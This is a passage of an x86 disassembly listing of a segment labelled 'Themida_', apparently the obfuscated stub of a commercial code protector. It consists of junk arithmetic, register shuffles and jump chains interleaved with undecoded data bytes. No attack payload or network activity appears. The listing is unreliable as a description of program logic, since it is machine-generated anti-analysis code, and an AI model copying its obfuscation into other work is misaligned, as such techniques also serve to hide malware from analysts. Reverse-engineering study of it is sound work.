		dd 2BE2434h, 81000000h,	0D85912EFh, 0C67FE939h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558A1A:				; CODE XREF: Themida_:0055AA5Aj
		push	edx
		mov	edx, 24h
		sub	edx, 7BCF56BDh
		add	edx, edi
		jmp	loc_553314
; ---------------------------------------------------------------------------


loc_558A2D:				; CODE XREF: Themida_:00558B84j
		pop	ebx
		add	dword ptr [esp], 7EBF6A73h
		jmp	loc_558461
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 36DC6873h, 0FFE8BFE9h, 0FC330FFh, 34FFC0B6h,	0F7D8E987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558A52:				; CODE XREF: Themida_:00559021j
		pop	ebp
		xor	ebp, edi
		xor	edi, ebp
		xor	ebp, edi
		xor	edi, ecx
		jmp	loc_554BEB
; ---------------------------------------------------------------------------
		dd 24048966h, 0FF73AAE9h, 240C89FFh, 0E98013B1h, 59CA2089h
		dd 305EF280h, 24148BD0h, 6804C483h, 4BC8h, 53241489h, 0E3C0FDB3h
		dd 62EB8007h, 0FE1FF380h, 80D3F6CBh, 4CE912C3h,	68FFFF8Ah
		dd 0ECh, 0E9240C89h, 0FFFFD162h, 0D9F7CA87h, 0FFE801E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558AB5:				; CODE XREF: Themida_:00557C66j
		mov	eax, 74F5C0A0h
		sub	eax, ebx
		mov	ebx, [esp]
		jmp	loc_550B04
; ---------------------------------------------------------------------------
		dd 0D4885066h, 0FF898BE9h, 4FF66FFh, 3CE99C24h,	89FFFF73h
		dd 4C381E3h, 51000000h,	4B9h, 59CB0100h, 5C241C87h, 0FFDBAEE9h
		dd 0E9E6B1FFh, 0FFFF8AF1h
; ---------------------------------------------------------------------------


loc_558AF8:				; CODE XREF: Themida_:00557D9Cj
		add	ecx, 49E61E1Eh
		add	ecx, edi
		sub	ecx, 49E61E1Eh
		jmp	loc_5577B6
; ---------------------------------------------------------------------------
byte_558B0B	db 68h			; DATA XREF: Themida_:0054FC94o
		dd 2F14h, 7C3368h, 0FD5FE900h, 7BFFFFFh, 311E501Dh, 0C7895FF8h
		dd 0FFAAF8E9h, 0F18058FFh, 8BC8009Ah
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_559F51
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4C2h, 4BF5700h, 1000000h, 4FE95FFAh,	0BEFFFF93h, 4
		dd 0AEE9F201h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558B5B:				; CODE XREF: Themida_:00554DFAj
		mov	ebx, 75C813C4h
		sub	dword ptr [esp+4], 7490093Dh
		sub	dword ptr [esp+4], 14A6462h
		sub	[esp+4], ebx
		add	dword ptr [esp+4], 14A6462h
		add	dword ptr [esp+4], 7490093Dh
		jmp	loc_558A2D
; ---------------------------------------------------------------------------


loc_558B89:				; CODE XREF: Themida_:005588ECj
		mov	ebx, 54332C70h
		mov	eax, 466F164Fh
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, 125C3A3Dh
		jmp	loc_556CE9
; ---------------------------------------------------------------------------


loc_558BA5:				; CODE XREF: Themida_:00555105j
		pop	eax
		jmp	loc_554046
; ---------------------------------------------------------------------------
		db 51h
		dd 12E5E9h, 2C875900h, 24248B24h, 4C481h, 0B60F0000h, 8734FFC0h
		dd 8EE95356h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558BCB:				; CODE XREF: Themida_:0055010Bj
		xor	eax, esi
		pop	esi
		jmp	loc_553A0D
; ---------------------------------------------------------------------------


loc_558BD3:				; CODE XREF: Themida_:00554111j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55957E
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 4
		dd 1000000h, 0E9505DEEh, 0FFFF96C5h
; ---------------------------------------------------------------------------


loc_558BFC:				; CODE XREF: Themida_:0055808Ej
		mov	eax, edx
		jmp	loc_558F50
; ---------------------------------------------------------------------------
byte_558C03	db 66h			; DATA XREF: Themida_:0054FD68o
		dd 81240C8Bh, 4ECh, 24348900h, 0C6815E54h, 4, 4EE81h, 34870000h
		dd 2C895C24h, 0E9E58924h, 1A1Ch, 4C381h, 0C3810000h, 4
		dd 5C241C87h, 0FF71D2E9h, 4C483FFh, 7E2DD801h, 2D2FF97Eh
		dd 73B213A2h, 2BE6E9h, 0E7895700h, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 1A5FE9h, 4C48300h, 0B904C483h,	76766308h
		dd 0F358C131h, 386203A5h, 4EC81h, 1C890000h, 4EC8124h
		dd 0E9000000h, 0FFFF8C87h, 87631468h, 24148B2Bh, 4C481h
		dd 0E2810000h, 68D12A56h, 0FFAD51E9h, 81E189FFh, 4C1h
		dd 4E98100h, 87000000h,	0E95C240Ch, 0FFFF8429h
; ---------------------------------------------------------------------------


loc_558CC4:				; CODE XREF: Themida_:00556A27j
		shr	eax, 0Bh
		jmp	loc_5558B4
; ---------------------------------------------------------------------------
		dd 4BAh, 5AD60100h, 8EB95155h, 0E93ED133h, 0FFFF8E85h
		dd 307168h, 241C8900h, 241C8B54h, 4C481h, 0C3810000h, 4
		dd 0B9515057h, 73F37069h, 0D2BFBE56h, 0F1019379h, 0CF89575Eh
		dd 8B5FF889h, 39E9240Ch, 0F7FFFF9Fh, 93F381DBh,	812F8406h
		dd 4047D8F3h, 90F38119h, 29D3DF4Fh, 0E904245Ch,	1146h
		dd 0E9CB015Eh, 0FFFF7277h
; ---------------------------------------------------------------------------


loc_558D3C:				; CODE XREF: Themida_:00558E4Ej
		add	eax, 301B2CFFh
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_55BE3B
; ---------------------------------------------------------------------------


loc_558D55:				; CODE XREF: Themida_:0055261Fj
		add	edx, 3A2967CEh
		sub	edx, 4EE2228h
		sub	edx, 64A6809Eh
		and	ecx, edx
		jmp	loc_5542DF
; ---------------------------------------------------------------------------
		dw 0D808h
		dd 0DB8EE95Bh, 3C87FFFFh, 4895C24h, 5B03B824h, 0C229992Bh
		dd 5AD38958h, 551A65B9h, 0BEC18188h, 29562757h,	0BEE981D9h
		dd 5B562757h, 0C8BC831h, 4C48124h, 81000000h, 4ECh, 24148900h
		dd 0BD555256h, 0AA46E5h, 435B14BAh, 8BEA310Bh, 0C481242Ch
		dd 4, 29BA5253h, 0E948D631h, 0FFFFD1ACh
; ---------------------------------------------------------------------------


loc_558DD4:				; CODE XREF: Themida_:0055A10Aj
		inc	edx
		jmp	loc_55A186
; ---------------------------------------------------------------------------
		dw 5450h
		dd 0FF8212E9h, 0B9515EFFh, 8AFF7BBBh, 3159CD29h, 0C3815DEFh
		dd 0C296BC1h, 0EB81FB29h, 0C296BC1h, 241C335Fh,	0FFA0EBE9h
		dd 405FFh, 81E90000h, 81FFFFAFh, 54254CF2h, 96DEE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558E1A:				; CODE XREF: Themida_:00557CCBj
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, 6E623431h
		push	esi
		mov	esi, 30AA3E94h
		add	ebx, esi
		pop	esi
		add	ebx, 632676Bh
		not	ebx
		xor	ebx, 0E5D32F9h
		sub	ebx, 4CCD72BDh
		sub	ebx, 0A3A36846h
		sub	eax, 301B2CFFh
		add	eax, ebx
		jmp	loc_558D3C
; ---------------------------------------------------------------------------


loc_558E53:				; CODE XREF: Themida_:0055A8C9j
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_55B312
		push	dword ptr [edi+1Ch]
		push	eax
		mov	eax, 288F0AEBh
		sub	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_557679
; ---------------------------------------------------------------------------
		dd 0EA81C201h, 1B352415h, 0FFC109E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558E8D:				; CODE XREF: Themida_:0055898Bj
		pop	ebx
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 649F0757h
		push	esi
		mov	esi, 1B8543F1h
		shr	esi, 4
		jmp	loc_554150
; ---------------------------------------------------------------------------
		db 43h
		dd 4768564Bh, 5E485915h, 4EC8346h, 0BD242C89h, 5FB1322Eh
		dd 0D102EDC1h, 4DDDF7E5h, 13F8E9h, 3DCE8000h, 88F3EE80h
		dd 1FE95AF5h, 5FFFFFBEh, 0DCDEF81h, 0D7F72A3Dh,	0FF81D5E9h
		dd 50665AFFh, 7768FC88h, 89000061h, 54E9241Ch, 83FFFF72h
		dd 0A1E904ECh
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_551AA8
; ---------------------------------------------------------------------------
		db 52h
		dd 209C13BAh, 5AD78946h, 707C9D05h, 55F82954h, 707C9DBDh
		dd 5DE82954h, 0FF2434FFh, 0E95F2434h, 0FFFFA9E4h, 14BCE981h
		dd 0E957226Ch, 0FFFFF48Bh, 0E956E289h, 0FFFFFBFFh
; ---------------------------------------------------------------------------


loc_558F50:				; CODE XREF: Themida_:00558BFEj
		mov	edi, eax
		pop	eax
		pop	edx
		inc	edi
		sub	edi, 0FFFFFFFFh
		push	ecx
		jmp	loc_550294
; ---------------------------------------------------------------------------
byte_558F61	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FCB4o
aVh1		db '$Vhи1',0
		dw 8900h
		dd 4812424h, 424h, 56E95E00h, 81FFFFC0h, 92A230EEh, 5EF3315Dh
		dd 85E95655h, 0E9FFFF7Eh, 0FFFF6E83h, 31243C33h, 3C33243Ch
		dd 3C895C24h, 81E78924h, 4ECh, 24048900h, 4643D7B8h, 3E0C119h
		dd 8904EC83h, 5AE9243Ch, 53FFFF9Ah, 1068F6BBh, 19F38109h
		dd 118983Fh, 0E9565BDAh, 2F04h
; ---------------------------------------------------------------------------


loc_558FD0:				; CODE XREF: Themida_:0054FEF6j
		mov	ebx, 165E1F67h
		or	ebx, 107A4403h
		inc	ebx
		inc	ebx
		sub	ebx, 0D7025D31h
		jmp	loc_55235C
; ---------------------------------------------------------------------------
		dd 352968h, 24148900h, 47240481h, 5F4FC25Fh, 5F47EF81h
		dd 0E95A4FC2h, 0FFFFF7E4h
; ---------------------------------------------------------------------------


loc_559004:				; CODE XREF: Themida_:0055302Cj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		push	eax
		push	ebp
		pop	eax
		jmp	loc_558A52
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 1A985599h, 7640C781h, 48B3407h, 4C48124h, 0E9000000h
		dd 0FFFFE644h
; ---------------------------------------------------------------------------


loc_559040:				; CODE XREF: Themida_:005576D2j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55672C
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0EDFDE9D0h, 0C481FFFFh, 4, 0FF6DAEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559065:				; CODE XREF: Themida_:0055483Bj
		dec	esi
		sub	esi, 6F32E34h
		dec	esi
		push	eax
		mov	eax, 616FE1D6h
		sub	esi, eax
		pop	eax
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		and	ebx, eax
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jnz	loc_55ABE8
		push	ebp
		mov	ebp, esp
		jmp	loc_5521FA
; ---------------------------------------------------------------------------


loc_5590A9:				; CODE XREF: Themida_:00557931j
		push	ebx
		mov	ebx, 42210A9Fh
		sub	ebp, ebx
		pop	ebx
		add	ebp, eax
		push	esi
		mov	esi, 2277D4h
		add	esi, 41FE92CBh
		add	ebp, esi
		pop	esi
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5574C1
; ---------------------------------------------------------------------------
		db 0BBh
		dd 73137833h, 4BD3F743h, 8106E3C1h, 0EE42B9C3h,	35EB8152h
		dd 0E98E1035h, 0FFFFD148h, 0B652F8B4h, 0EFC680B9h, 0FFA545E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5590F9:				; CODE XREF: Themida_:0054FE4Fj
		mov	esi, ecx
		pop	ecx
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_5572D6
; ---------------------------------------------------------------------------


loc_55910D:				; CODE XREF: Themida_:005592D7j
		pop	eax
		jmp	loc_553441
; ---------------------------------------------------------------------------
		db 81h
		dd 1E0876C2h, 0B1CA8128h, 5300336Ch, 407771BBh,	5BDA2154h
		dd 0EA81D2F7h, 4DC93D89h, 0C15AD131h, 50E903E9h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55913B:				; CODE XREF: Themida_:0055B703j
		pop	edx
		sub	al, bh
		add	al, 39h
		pop	ebx
		sub	bl, 0A6h
		add	bl, al
		jmp	loc_556A39
; ---------------------------------------------------------------------------
		db 89h
		dd 4B951E7h, 0E9000000h, 0FFFFB0F2h
; ---------------------------------------------------------------------------


loc_559158:				; CODE XREF: Themida_:00554ACDj
		push	ecx
		mov	ecx, 308606C2h
		sub	[esp+8], ecx
		pop	ecx
		mov	ebp, [esp]
		add	esp, 4
		pop	ecx
		push	esi
		jmp	loc_551F4C
; ---------------------------------------------------------------------------
		dd 4C381h, 0E4E90000h, 66FFFF97h, 81240C8Bh, 2C4h, 0A1686600h
		dd 1489661Bh, 52505124h, 0D08847B2h, 3039B15Ah,	0E95158C1h
		dd 1048h
; ---------------------------------------------------------------------------


loc_5591A0:				; CODE XREF: Themida_:00551F6Ej
		sub	ebx, 200E74F9h
		push	ebx
		add	dword ptr [esp], 33F73521h
		pop	esi
		sub	esi, 33F73521h
		mov	ebx, [esp]
		add	esp, 4
		sub	ecx, esi
		mov	esi, [esp]
		jmp	loc_557D3F
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0FF9DD8E9h, 5BDA31FFh, 2603F281h, 81427159h,	4480B3F2h
		dd 0B672E9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5591E2:				; CODE XREF: Themida_:0055B234j
		shr	edx, 4
		shl	edx, 4
		sub	edx, 0E3190525h
		add	ebx, 5E33104Eh
		add	ebx, edx
		sub	ebx, 5E33104Eh
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 3DBC5196h
		shr	ecx, 2
		not	ecx
		or	ecx, 2FFB14AAh
		shr	ecx, 1
		add	ecx, 6A240406h
		jmp	loc_553F4B
; ---------------------------------------------------------------------------
		dd 52243489h, 4BAh, 5AD68900h, 3879C381h, 0EB815248h, 28A81441h
		dd 0C381F301h, 28A81441h, 545FB951h, 0D1F700B9h, 0E9C1D1F7h
		dd 2DF18108h, 29524881h, 348B59CBh, 7636E924h, 0BF57FFFFh
		dd 4, 0A7E95752h, 80FFFF6Fh, 0F78016EFh, 0E148E9BAh
		db 2 dup(0FFh)
word_55927A	dw 8B66h		; DATA XREF: Themida_:0054FCC8o
		dd 6468240Ch, 89000054h, 0E589242Ch, 0FFC7ABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55928D:				; CODE XREF: Themida_:00558690j
		sub	edx, ebp
		jmp	loc_5511E6
; ---------------------------------------------------------------------------
		dd 0E903E0C1h, 0FFFFE4C2h
dword_55929C	dd 52D831ADh, 5E08950h,	4, 8704E883h, 895C2404h, 36682404h
					; DATA XREF: Themida_:0054FDA0o
		dd 58326882h, 1401E9h
		db 0
; ---------------------------------------------------------------------------


loc_5592BD:				; CODE XREF: Themida_:0055097Dj
		add	ebx, 5C9D549Fh
		jmp	loc_55B54C
; ---------------------------------------------------------------------------
dword_5592C8	dd 6436BA52h, 0E956659Bh, 0FFFFB23Ch ; DATA XREF: Themida_:0054FD54o
; ---------------------------------------------------------------------------


loc_5592D4:				; CODE XREF: Themida_:00550330j
		push	dword ptr [esp]
		jmp	loc_55910D
; ---------------------------------------------------------------------------
		dd 2904C483h, 8B042474h, 0C4812434h, 4,	41240481h, 100692Bh
		dd 2C812404h, 692B4124h, 78B95100h, 0E945ED46h,	0FFFFD1D1h
		dd 4D45B951h, 0E950152Dh, 0FFFFAEDEh
; ---------------------------------------------------------------------------


loc_559314:				; CODE XREF: Themida_:005532A9j
		mov	ah, 63h
		or	ah, 4Ch
		jmp	loc_55830A
; ---------------------------------------------------------------------------
		dw 0C981h
		dd 4DC33D94h, 0FDFAE981h, 0CE01EFEBh, 8889E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559332:				; CODE XREF: Themida_:00557D3Aj
		xor	edi, 2AE36A7Ah
		jmp	loc_557C6B
; ---------------------------------------------------------------------------
		db 1, 0FAh, 55h
		dd 0B43CEDBDh, 0E9EA2955h, 0FFFFC268h
; ---------------------------------------------------------------------------


loc_55934C:				; CODE XREF: Themida_:0055BFC5j
		sub	ecx, 2F990DAAh
		add	ecx, 607521D9h
		dec	ecx
		jmp	loc_559909
; ---------------------------------------------------------------------------


loc_55935E:				; CODE XREF: Themida_:0055452Cj
		shl	ebx, 6
		shl	ebx, 4
		jmp	loc_551DD5
; ---------------------------------------------------------------------------
		db 80h,	0EAh, 37h
		dd 5051DA00h, 0FFF28DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559375:				; CODE XREF: Themida_:00550ACDj
		sub	[esp+4], ebp
		pop	ebp
		pop	edx
		jmp	loc_556EC6
; ---------------------------------------------------------------------------
		dd 5D9368h, 24048900h, 706E0EB8h, 0B135482Ah, 895C8640h
		dd 68E958C6h
		db 0A7h, 2 dup(0FFh)
byte_55939B	db 66h			; DATA XREF: Themida_:0054FD4Co
		dd 53240C8Bh, 0FFEE68E9h, 1CB951FFh, 81723B05h,	0E74693E9h
		dd 1BACE910h, 0C9810000h, 3A605733h, 0E902E1C1h, 265Eh
		dd 5E2434FFh, 0FF7453E9h, 7D9C68FFh, 34890000h,	24BB5324h
		dd 0E9410E6Ch, 779h, 8904EC83h,	0E6892434h, 4C681h, 0EE830000h
		dd 24348704h, 0FFB6F2E9h, 4C483FFh, 0E924048Fh,	0FFFF7541h
		dd 4BF30558h, 895A6E2Fh, 0B2E958C1h, 8B000009h,	5452243Ch
		dd 4C2815Ah, 53000000h,	3F78BD55h, 7CBB4AF0h, 0E94AF03Fh
		dd 0FFFF7DAEh, 4A54BB53h, 0E3C1671Dh, 4F38108h,	11D4A54h
		dd 85DFE9D8h, 1489FFFFh, 0EBE95424h, 29FFFFF6h,	0F7815BDFh
		dd 0EA4CA185h, 315FF989h, 0E95159CFh, 0FFFF8253h, 8324148Bh
		dd 0E18104C4h, 8EA1C65h, 6A68F181h, 0E1C16409h,	0F1814903h
		dd 631BB25Bh, 8759CB01h, 295C241Ch, 0E99C2404h,	0FFFF6983h
		dd 53240C89h, 0EBC08DB3h, 0FEDBF602h, 0E9CBFECBh, 0FFFF8747h
		dd 5B20E981h, 0E9560C49h, 0FFFF9174h
; ---------------------------------------------------------------------------


loc_5594B0:				; CODE XREF: Themida_:00558723j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55ABB2
; ---------------------------------------------------------------------------


loc_5594B9:				; CODE XREF: Themida_:00555613j
		mov	edi, 6C9D34CFh
		xor	edi, 33FD3CC8h
		sub	edi, 5F600803h
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_55B417
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4EC8324h, 54243C89h,	0E9243C8Bh, 0FFFF8C32h
; ---------------------------------------------------------------------------


loc_5594F0:				; CODE XREF: Themida_:00553456j
		push	edi
		push	esp
		pop	edi
		jmp	loc_556120
; ---------------------------------------------------------------------------
		dd 26856h, 815E0000h, 22B29C3h,	81F30171h, 22B29EBh, 1C875E71h
		dd 0CBD2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559516:				; CODE XREF: Themida_:0055B261j
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_5547CD
; ---------------------------------------------------------------------------


loc_559527:				; CODE XREF: Themida_:005570EBj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_552E71
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 273403C0h, 0C281C201h, 273403C0h, 2CF86850h,	0C4E953C3h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55955B:				; CODE XREF: Themida_:0055A1E3j
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		add	esi, 4
		jmp	loc_55B22A
; ---------------------------------------------------------------------------
		dd 9FFEE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55957E:				; CODE XREF: Themida_:00558BE8j
		push	ebx
		jmp	loc_553838
; ---------------------------------------------------------------------------


loc_559584:				; CODE XREF: Themida_:005556F0j
		pop	eax
		inc	eax
		sub	eax, 531D7DB6h
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_556995
; ---------------------------------------------------------------------------


loc_559598:				; CODE XREF: Themida_:005539F9j
		mov	ebp, 1
		sub	edx, ebp
		pop	ebp
		push	eax
		jmp	loc_557FFF
; ---------------------------------------------------------------------------
		dw 0E7C1h
		dd 3E7C107h, 0EFD1D7F7h, 51FDF781h, 0FB015A86h,	0AABE95Fh
		dd 0CB870000h, 0E9CB3141h, 0FFFFEB0Ch, 5BEB8166h, 0DBF76619h
		dd 83669366h, 59E9FFE8h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5595DB:				; CODE XREF: Themida_:00556634j
		add	ecx, esi
		pop	esi
		pop	ebx
		xor	eax, ecx
		jmp	loc_55171B
; ---------------------------------------------------------------------------


loc_5595E6:				; CODE XREF: Themida_:0055063Ej
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55655D
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 24048B54h, 50E78957h, 0FFAF28E9h, 0E9E789FFh, 350h
		dd 1C2815Fh, 68000000h,	0
		dd 5A241429h, 65AAEA81h, 0D7015864h, 0E8C7815Ah, 11C985Eh
		dd 9CC9E9CFh, 0EFBAFFFFh, 0B9291068h, 2BED0F9Bh, 0FF9DCCE9h
		dd 241433FFh, 33241431h, 0E95C2414h, 1471h
dword_559654	dd 24048B66h, 83585450h, 7E904ECh ; DATA XREF: Themida_:0054FBACo
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559663:				; CODE XREF: Themida_:0055336Ej
		push	esi
		jmp	loc_552DC2
; ---------------------------------------------------------------------------


loc_559669:				; CODE XREF: Themida_:00551484j
		sub	ecx, 851012Eh
		sub	ecx, ebx
		push	eax
		jmp	loc_5575B5
; ---------------------------------------------------------------------------


loc_559677:				; CODE XREF: Themida_:00551BAAj
		add	ecx, eax
		pop	eax
		push	ecx
		jmp	loc_557A76
; ---------------------------------------------------------------------------
		dd 5C240C87h, 68240C89h, 58FAh,	52240489h, 0A14AF8BAh
		dd 0A7E94A4Dh, 0F7FFFFECh, 13BF57DBh, 50173212h, 0FF8806E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5596A9:				; CODE XREF: Themida_:0055C156j
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	eax
		jmp	loc_554706
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 53456F48h, 20E9EE29h, 68FFFFE5h, 5081h, 0FF90AAE9h
		dd 0FFC283FFh, 5301EA83h, 0C93D7FBBh, 81DBF75Ch, 0BE3DBCCBh
		dd 0D0C1E954h
		db 2 dup(0FFh)
word_5596EA	dw 7968h		; DATA XREF: Themida_:0054FCCCo
		dd 8900005Eh, 8B54241Ch, 0C483241Ch, 0FCA7E904h, 4BAFFFFh
		dd 1000000h, 0E56EE9D5h, 48FFFFFh, 24248B24h, 0FFBF42E9h
		dd 0C38166FFh, 1662E23h, 0EB8166C3h, 52662E23h,	2AEFBA66h
		dd 55EB8166h, 0D329665Fh, 55C38166h, 349E95Fh, 24890000h
		dd 24048124h, 4, 53240C8Bh, 0FDE9E389h,	5CFFFF9Fh, 0FFFCDBE9h
		dd 0FDF781FFh, 47722D15h, 8008F781h, 0F801F103h, 0D0B9515Fh
		dd 8109FE71h, 8C756CE1h, 0C1814931h, 14530C47h,	1D2DE9h
		dd 0F1814100h, 4F0D10CAh, 40E98141h, 12E5EAEh, 240C8BCBh
		dd 4C481h, 0EB830000h, 241C8704h, 2414895Ch, 42474FFh
		dd 0FFD44EE9h, 240C89FFh, 88F8B652h, 90CE9F1h, 48F0000h
		dd 24248B24h, 0FF9D7BE9h, 0C8B66FFh, 2C48124h, 0E9000000h
		dd 0FFFFA1C0h
; ---------------------------------------------------------------------------


loc_5597D0:				; CODE XREF: Themida_:00557947j
		add	ebx, 4
		jmp	loc_5569F6
; ---------------------------------------------------------------------------
		db 89h
		dd 0B9512434h, 16081B8Ah, 0CD50E950h, 0ECC0FFFFh, 0E9CCFE03h
		dd 0FFFF9F7Eh
; ---------------------------------------------------------------------------


loc_5597F4:				; CODE XREF: Themida_:00557F3Fj
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		push	4003h
		mov	[esp], eax
		push	edx
		mov	edx, 5FC23292h
		mov	eax, edx
		pop	edx
		mov	ebp, eax
		jmp	loc_55A837
; ---------------------------------------------------------------------------
		db 0BFh, 0B5h, 6
		dd 0CF8169F9h, 179957C8h, 4FC78147h, 29B3B5EAh,	0EB815FFBh
		dd 6E0D1470h, 0ACE9CB01h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55983B:				; CODE XREF: Themida_:00556E8Cj
		neg	cl
		xor	cl, 0E1h
		neg	cl
		shl	cl, 8
		add	cl, 0D9h
		jmp	loc_556ABA
; ---------------------------------------------------------------------------
		db 28h,	0C8h, 2Ch
		dd 0BB0459F8h, 24148B66h, 2C481h, 0E9520000h, 0FFFFB0E2h
dword_559864	dd 240C8B66h, 565B5453h, 7521BD55h, 0EDD16843h,	8103E5C1h
					; DATA XREF: Themida_:0054FD60o
		dd 703D9EE5h, 9EFAE97Ah, 0C89FFFFh, 0CC9E924h, 8C680000h
		dd 89000004h, 5E9240Ch
		db 6, 2	dup(0)
aM0SCa		db '╛0ьSЁ≈─ц',0         ; DATA XREF: Themida_:0054FC80o
		dd 6608EBC0h, 7DEAE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5598AA:				; CODE XREF: Themida_:0055718Aj
		push	ebp
		jmp	loc_55451E
; ---------------------------------------------------------------------------


loc_5598B0:				; CODE XREF: Themida_:00553A0Fj
		inc	eax
		xor	eax, 0DF138B75h
		add	ecx, eax
		pop	eax
		push	esi
		jmp	loc_55011F
; ---------------------------------------------------------------------------
		db 81h
		dd 2C6h, 24343300h, 0FF6FF2E9h,	2DB9FFh, 0F1812572h, 663BC956h
		dd 159CB01h, 0D251E9DEh, 34FFFFFFh, 990AE924h, 0F766FFFFh
		dd 0B1BE9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5598F2:				; CODE XREF: Themida_:0055291Bj
		push	edx
		mov	dl, 0D8h
		not	dl
		add	dl, 5Dh
		sub	bl, dl
		pop	edx
		sub	bl, 73h
		push	ax
		mov	ah, 2Ah
		jmp	loc_5520E6
; ---------------------------------------------------------------------------


loc_559909:				; CODE XREF: Themida_:00559359j
		add	ecx, 998A8743h
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_552ADC
; ---------------------------------------------------------------------------
dword_559920	dd 9D1C77FFh, 14D25966h, 0E4E99C24h, 59FFFF64h,	0D9B95153h
					; DATA XREF: Themida_:0054FCA4o
		dd 81438B77h, 3F48C2C1h, 0BEC18138h, 0E956C90Fh, 0FFFFEF7Eh
		dd 48BC101h, 0D52AE924h, 0FA01FFFFh, 2C2815Fh, 0E9000000h
		dd 0FFFFFCE5h, 4C781h, 0B9510000h, 65E01DA0h, 0FFEA15E9h
		dd 0E9D001FFh, 0FFFF6E56h, 97E95258h, 0FFFFFF88h, 26E98734h
		dd 57FFFFC0h, 170608BFh, 0D2F6E93Ah, 4B66FFFFh,	82E95766h
		dd 0D00001Ch, 544501A9h, 0FFDA9BE9h, 64BE56FFh,	812FC568h
		dd 862AAECEh, 81E9507Ch
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5599B7:				; CODE XREF: Themida_:0055B597j
		add	ebp, 347A0D88h
		sub	ebp, 0AFD6E2CEh
		jmp	loc_55626A
; ---------------------------------------------------------------------------
		dd 42474FFh, 0E9241C8Bh, 0FFFFA1C9h, 639A68h, 24248900h
		dd 0FF71B2E9h, 89FA89FFh, 24148BD6h, 4C481h, 215F0000h
		dd 348B1C77h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
